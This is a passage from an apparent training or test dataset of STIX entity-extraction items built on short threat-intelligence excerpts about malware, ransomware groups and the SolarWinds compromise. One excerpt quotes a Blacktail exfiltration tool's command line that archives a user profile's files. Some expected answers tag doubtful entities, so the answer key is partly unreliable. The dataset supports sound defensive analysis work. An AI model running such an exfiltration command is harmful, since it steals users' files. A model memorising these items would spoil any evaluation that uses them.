    "input": "### Text Passage:\nxCmd can be used to execute binaries on remote systems by creating and starting a service.\n",
    "output": "<entities>xCmd</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nJudy is auto-clicking adware that was distributed through multiple apps in the Google Play Store.\n",
    "output": "<entities>Judy|Google Play|Google</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCoinTicker initially downloads a hidden encoded file.\n",
    "output": "<entities>CoinTicker</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. \n",
    "output": "<entities>Nidiran|Suckfly</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSecurity Brief: TA544 Targets Italian Organizations with Ursnif Malware September 29, 2021\n",
    "output": "<entities>TA544|Italian|Ursnif</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.\n",
    "output": "<entities>SolarWinds Orion|NOBELIUM|APT29|SolarWinds|UNC2452|North America|Europe|Asia|Middle East|StellarParticle|Dark Halo|SolarStorm</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nmetaMain is a backdoor used by Metador to maintain long-term access to compromised machines; it has also been used to decrypt Mafalda into memory.\n",
    "output": "<entities>metaMain|Metador</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQUIETCANARY is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.\n",
    "output": "<entities>QUIETCANARY|.NET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDarkGate first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by its author, DarkGate is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.\n",
    "output": "<entities>DarkGate|Delphi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRARSTONE obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.\n",
    "output": "<entities>RARSTONE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNBTscan is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.\n",
    "output": "<entities>NBTscan</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHOMEFRY uses a command-line interface.\n",
    "output": "<entities>HOMEFRY</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAppleSeed can disguise JavaScript files as PDFs.\n",
    "output": "<entities>AppleSeed|JavaScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDangerous adversary\nWhile the reuse of leaked payloads is often the hallmark of a less-skilled ransomware operation, Blacktail\u2019s general competence in carrying out attacks, coupled with its ability to recognize the utility of newly discovered vulnerabilities, suggests that it is not to be underestimated.\n",
    "output": "<entities>Blacktail</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
    "output": "<entities>Buhti|Windows|C&C|LockBit|Syrphid|Bitwise Spider|LockBit 3.0</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBabuk repurposed\nWhile Buhti came to public attention for targeting Linux machines with a payload written in Golang, analysis by Symantec of multiple Linux payloads found that they were all variants of the leaked Babuk ransomware.\nBabuk was one of the first ransomware actors to target ESXi systems with a Linux payload. Babuk\u2019s source code was leaked in 2021 and since then has been adopted and reused by multiple ransomware operations.\nThe ransom note dropped by Linux variants was identical to that of the Windows payload; with only the payment address differing.\n",
    "output": "<entities>Buhti|Golang|Symantec|Windows|Linux|ESXi|Babuk</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nExfiltration tool\nBlacktail does appear to use at least one piece of custom malware, a data-exfiltration tool (SHA256: 9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd).\nWritten in Golang, it is designed to steal the following file types: .pdf, .php, .png, .ppt, .psd, .rar, .raw, .rtf, .sql, .svg, .swf, .tar, .txt, .wav, .wma, .wmv, .xls, .xml, .yml, .zip, .aiff, .aspx, .docx, .epub, .json, .mpeg, .pptx, .xlsx, .yaml. Copied files are placed into a .zip archive, which is created using an open source utility called zip.\nThe tool can be configured via command-line arguments to specify both the directory to search for files of interest in and the name of the output archive. The -o argument in the command line specifies the archive to be created. The -d argument specifies the directory to search for files of interest in. For example:\nCSIDL_WINDOWS\\temp\\xhfw.exe -o CSIDL_WINDOWS\\temp\\output.zip -d CSIDL_PROFILE\n",
    "output": "<entities>Golang|Blacktail|Exfil|Exfiltration tool|9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd|xhfw.exe|output.zip</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious 